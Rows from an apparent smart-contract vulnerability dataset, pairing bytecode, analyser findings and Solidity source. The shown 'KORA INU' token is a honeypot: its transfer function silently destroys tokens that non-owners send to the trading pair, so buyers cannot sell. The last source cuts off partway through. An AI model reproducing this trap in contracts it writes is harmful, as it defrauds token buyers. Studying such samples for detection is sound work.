527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b0316146108b557600080fd5b476108bf816116ad565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109075760405162461bcd60e51b815260040161085090611cbc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461097157600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161088a565b6008546001600160a01b0316336001600160a01b0316146109df57600080fd5b67016345785d8a00008210156109f457600080fd5b6702c68af0bb140000811015610a0957600080fd5b600d91909155600e55565b6000610661338484611107565b6000546001600160a01b03163314610a4b5760405162461bcd60e51b815260040161085090611cbc565b60005b81518110156107f05760095482516001600160a01b0390911690839083908110610a7a57610a7a611c8b565b60200260200101516001600160a01b031614158015610acb575060075482516001600160a01b0390911690839083908110610ab757610ab7611c8b565b60200260200101516001600160a01b031614155b15610b2857600160056000848481518110610ae857610ae8611c8b565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b3281611ca1565b915050610a4e565b6008546001600160a01b0316336001600160a01b031614610b5a57600080fd5b6000610b65306108c2565b90506108bf816116e7565b6000546001600160a01b03163314610b9a5760405162461bcd60e51b815260040161085090611cbc565b60105460ff1615610be75760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610850565b6010805460ff1916600117905542600f5567016345785d8a0000600d556702c68af0bb140000600e55565b600954600090610763906001600160a01b03166108c2565b6008546001600160a01b0316336001600160a01b031614610c4a57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161088a565b6000546001600160a01b03163314610cc75760405162461bcd60e51b815260040161085090611cbc565b60105460ff1615610d145760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610850565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d503082678ac7230489e80000610fe3565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db29190611cf1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e239190611cf1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e949190611cf1565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610ec4816108c2565b600080610ed96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610f41573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f669190611d0e565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610fbf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f09190611d3c565b6001600160a01b0383166110455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610850565b6001600160a01b0382166110a65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610850565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615801561114957506001600160a01b03821660009081526005602052604090205460ff16155b801561116557503360009081526005602052604090205460ff16155b61116e57600080fd5b6001600160a01b0383166111d25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610850565b6001600160a01b0382166112345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610850565b600081116112965760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610850565b600080546001600160a01b038581169116148015906112c357506000546001600160a01b03848116911614155b1561164e576009546001600160a01b0385811691161480156112f357506007546001600160a01b03848116911614155b801561131857506001600160a01b03831660009081526004602052604090205460ff16155b156114ea5760105460ff1661136f5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610850565b600f5442141561139d576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d548211156113ef5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610850565b600e546113fb846108c2565b6114059084611d59565b11156114635760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610850565b6001600160a01b03831660009081526006602052604090206001015460ff166114cb576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff16158015611504575060105460ff165b801561151e57506009546001600160a01b03858116911614155b1561164e5761152e42600f611d59565b6001600160a01b038516600090815260066020526040902054106115a05760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610850565b60006115ab306108c2565b905080156116375760105462010000900460ff161561162e57600c54600954606491906115e0906001600160a01b03166108c2565b6115ea9190611d71565b6115f49190611d90565b81111561162e57600c5460095460649190611617906001600160a01b03166108c2565b6116219190611d71565b61162b9190611d90565b90505b611637816116e7565b47801561164757611647476116ad565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061169057506001600160a01b03841660009081526004602052604090205460ff165b15611699575060005b6116a6858585848661185b565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107f0573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061172b5761172b611c8b565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611784573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117a89190611cf1565b816001815181106117bb576117bb611c8b565b6001600160a01b0392831660209182029290920101526007546117e19130911684610fe3565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061181a908590600090869030904290600401611db2565b600060405180830381600087803b15801561183457600080fd5b505af1158015611848573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6000611867838361187d565b9050611875868686846118a1565b505050505050565b600080831561189a5782156118955750600a5461189a565b50600b545b9392505050565b6000806118ae848461197e565b6001600160a01b03881660009081526002602052604090205491935091506118d7908590611c74565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611907908390611d59565b6001600160a01b038616600090815260026020526040902055611929816119b2565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161196e91815260200190565b60405180910390a3505050505050565b60008080606461198e8587611d71565b6119989190611d90565b905060006119a68287611c74565b96919550909350505050565b306000908152600260205260409020546119cd908290611d59565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611a0d578581018301518582016040015282016119f1565b81811115611a1f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108bf57600080fd5b8035611a5581611a35565b919050565b60008060408385031215611a6d57600080fd5b8235611a7881611a35565b946020939093013593505050565b60008060408385031215611a9957600080fd5b50508035926020909101359150565b600080600060608486031215611abd57600080fd5b8335611ac881611a35565b92506020840135611ad881611a35565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b1257600080fd5b823567ffffffffffffffff80821115611b2a57600080fd5b818501915085601f830112611b3e57600080fd5b813581811115611b5057611b50611ae9565b8060051b604051601f19603f83011681018181108582111715611b7557611b75611ae9565b604052918252848201925083810185019188831115611b9357600080fd5b938501935b82851015611bb857611ba985611a4a565b84529385019392850192611b98565b98975050505050505050565b600060208284031215611bd657600080fd5b813561189a81611a35565b600060208284031215611bf357600080fd5b5035919050565b80151581146108bf57600080fd5b600060208284031215611c1a57600080fd5b813561189a81611bfa565b60008060408385031215611c3857600080fd5b8235611c4381611a35565b91506020830135611c5381611a35565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611c8657611c86611c5e565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611cb557611cb5611c5e565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d0357600080fd5b815161189a81611a35565b600080600060608486031215611d2357600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611d4e57600080fd5b815161189a81611bfa565b60008219821115611d6c57611d6c611c5e565b500190565b6000816000190483118215151615611d8b57611d8b611c5e565b500290565b600082611dad57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e025784516001600160a01b031683529383019391830191600101611ddd565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220d301df31ce51fbb258ffd8e0aa97816c2bc767fa3952b17f2356e07b65ef80a064736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,111 |
0x9b2CE15aeAbdC40F5781C7F2C0aF942B10F43E88
|
pragma solidity >0.6.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burnFrom(address account, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract KORA is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _initialSupply = 1e15*1e18;
string private _name = "KORA INU";
string private _symbol = "KORA";
uint8 private _decimals = 18;
address private routerAddy = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // uniswap
address private dead = 0x000000000000000000000000000000000000dEaD;
address private vitalik = 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B;
address private pairAddress;
address private _owner = msg.sender;
constructor () {
_mint(address(this), _initialSupply);
_transfer(address(this), vitalik, _initialSupply*30/100);
_transfer(address(this), dead, _initialSupply*25/100);
}
modifier onlyOwner() {
require(isOwner(msg.sender));
_;
}
function isOwner(address account) public view returns(bool) {
return account == _owner;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function add_liq() public payable onlyOwner {
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(routerAddy);
pairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), _initialSupply);
uniswapV2Router.addLiquidityETH{value: msg.value}(
address(this),
_initialSupply*45/100,
0, // slippage is unavoidable
0, // slippage is unavoidable
_owner,
block.timestamp
);
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burn(uint256 amount) public virtual override {
_burn(msg.sender, amount);
}
function burnFrom(address account, uint256 amount) public virtual override {
uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, msg.sender, decreasedAllowance);
_burn(account, amount);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
if(sender == _owner || sender == address(this) || recipient == address(this)) {
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else if (recipient == pairAddress){ }
else{
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
receive() external payable {}
}
|
0x6080604052600436106100ec5760003560e01c806342966c681161008a57806395d89b411161005957806395d89b4114610370578063a457c2d714610385578063a9059cbb146103be578063dd62ed3e146103f7576100f3565b806342966c68146102d057806370a08231146102fc57806376c11b941461032f57806379cc679014610337576100f3565b806323b872dd116100c657806323b872dd146101f65780632f54bf6e14610239578063313ce5671461026c5780633950935114610297576100f3565b806306fdde03146100f8578063095ea7b31461018257806318160ddd146101cf576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610432565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018e57600080fd5b506101bb600480360360408110156101a557600080fd5b506001600160a01b0381351690602001356104c8565b604080519115158252519081900360200190f35b3480156101db57600080fd5b506101e46104de565b60408051918252519081900360200190f35b34801561020257600080fd5b506101bb6004803603606081101561021957600080fd5b506001600160a01b038135811691602081013590911690604001356104e4565b34801561024557600080fd5b506101bb6004803603602081101561025c57600080fd5b50356001600160a01b031661054d565b34801561027857600080fd5b50610281610561565b6040805160ff9092168252519081900360200190f35b3480156102a357600080fd5b506101bb600480360360408110156102ba57600080fd5b506001600160a01b03813516906020013561056a565b3480156102dc57600080fd5b506102fa600480360360208110156102f357600080fd5b50356105a0565b005b34801561030857600080fd5b506101e46004803603602081101561031f57600080fd5b50356001600160a01b03166105ad565b6102fa6105c8565b34801561034357600080fd5b506102fa6004803603604081101561035a57600080fd5b506001600160a01b03813516906020013561083e565b34801561037c57600080fd5b5061010d610885565b34801561039157600080fd5b506101bb600480360360408110156103a857600080fd5b506001600160a01b0381351690602001356108e6565b3480156103ca57600080fd5b506101bb600480360360408110156103e157600080fd5b506001600160a01b038135169060200135610935565b34801561040357600080fd5b506101e46004803603604081101561041a57600080fd5b506001600160a01b0381358116916020013516610942565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104be5780601f10610493576101008083540402835291602001916104be565b820191906000526020600020905b8154815290600101906020018083116104a157829003601f168201915b5050505050905090565b60006104d5338484610a65565b50600192915050565b60025490565b60006104f1848484610b51565b610543843361053e85604051806060016040528060288152602001610f51602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906109ce565b610a65565b5060019392505050565b600a546001600160a01b0390811691161490565b60065460ff1690565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916104d591859061053e908661096d565b6105aa3382610d85565b50565b6001600160a01b031660009081526020819052604090205490565b6105d13361054d565b6105da57600080fd5b6000600660019054906101000a90046001600160a01b03169050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561062d57600080fd5b505afa158015610641573d6000803e3d6000fd5b505050506040513d602081101561065757600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b1580156106a757600080fd5b505afa1580156106bb573d6000803e3d6000fd5b505050506040513d60208110156106d157600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b15801561072357600080fd5b505af1158015610737573d6000803e3d6000fd5b505050506040513d602081101561074d57600080fd5b5051600980546001600160a01b0319166001600160a01b0390921691909117905560035461077e9030908390610a65565b806001600160a01b031663f305d71934306064600354602d028161079e57fe5b600a54604080516001600160e01b031960e089901b1681526001600160a01b03958616600482015293909204602484015260006044840181905260648401529290921660848201524260a4820152905160c480830192606092919082900301818588803b15801561080e57600080fd5b505af1158015610822573d6000803e3d6000fd5b50505050506040513d606081101561083957600080fd5b505050565b600061086e82604051806060016040528060248152602001610f79602491396108678633610942565b91906109ce565b905061087b833383610a65565b6108398383610d85565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104be5780601f10610493576101008083540402835291602001916104be565b60006104d5338461053e85604051806060016040528060258152602001611007602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906109ce565b60006104d5338484610b51565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000828201838110156109c7576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60008184841115610a5d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a22578181015183820152602001610a0a565b50505050905090810190601f168015610a4f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316610aaa5760405162461bcd60e51b8152600401808060200182810382526024815260200180610fe36024913960400191505060405180910390fd5b6001600160a01b038216610aef5760405162461bcd60e51b8152600401808060200182810382526022815260200180610f096022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610b965760405162461bcd60e51b8152600401808060200182810382526025815260200180610fbe6025913960400191505060405180910390fd5b6001600160a01b038216610bdb5760405162461bcd60e51b8152600401808060200182810382526023815260200180610ec46023913960400191505060405180910390fd5b610be6838383610839565b610c2381604051806060016040528060268152602001610f2b602691396001600160a01b03861660009081526020819052604090205491906109ce565b6001600160a01b03808516600081815260208190526040902092909255600a54161480610c5857506001600160a01b03831630145b80610c6b57506001600160a01b03821630145b15610ced576001600160a01b038216600090815260208190526040902054610c93908261096d565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3610839565b6009546001600160a01b0383811691161415610d0857610839565b6001600160a01b038216600090815260208190526040902054610d2b908261096d565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6001600160a01b038216610dca5760405162461bcd60e51b8152600401808060200182810382526021815260200180610f9d6021913960400191505060405180910390fd5b610dd682600083610839565b610e1381604051806060016040528060228152602001610ee7602291396001600160a01b03851660009081526020819052604090205491906109ce565b6001600160a01b038316600090815260208190526040902055600254610e399082610e81565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b60006109c783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109ce56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206c4acfeaa6d1941a26351acd32fa14848a6731d7595f3ed39aea75abf34b896864736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,112 |
0xfdcabf16067ff95a0412c9f44c15e59f94a5c59e
|
/**
Total supply: 1,000,000,000,000
MaxBuy: 20,000,000,000
MaxWallet: 35,000,000,000
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
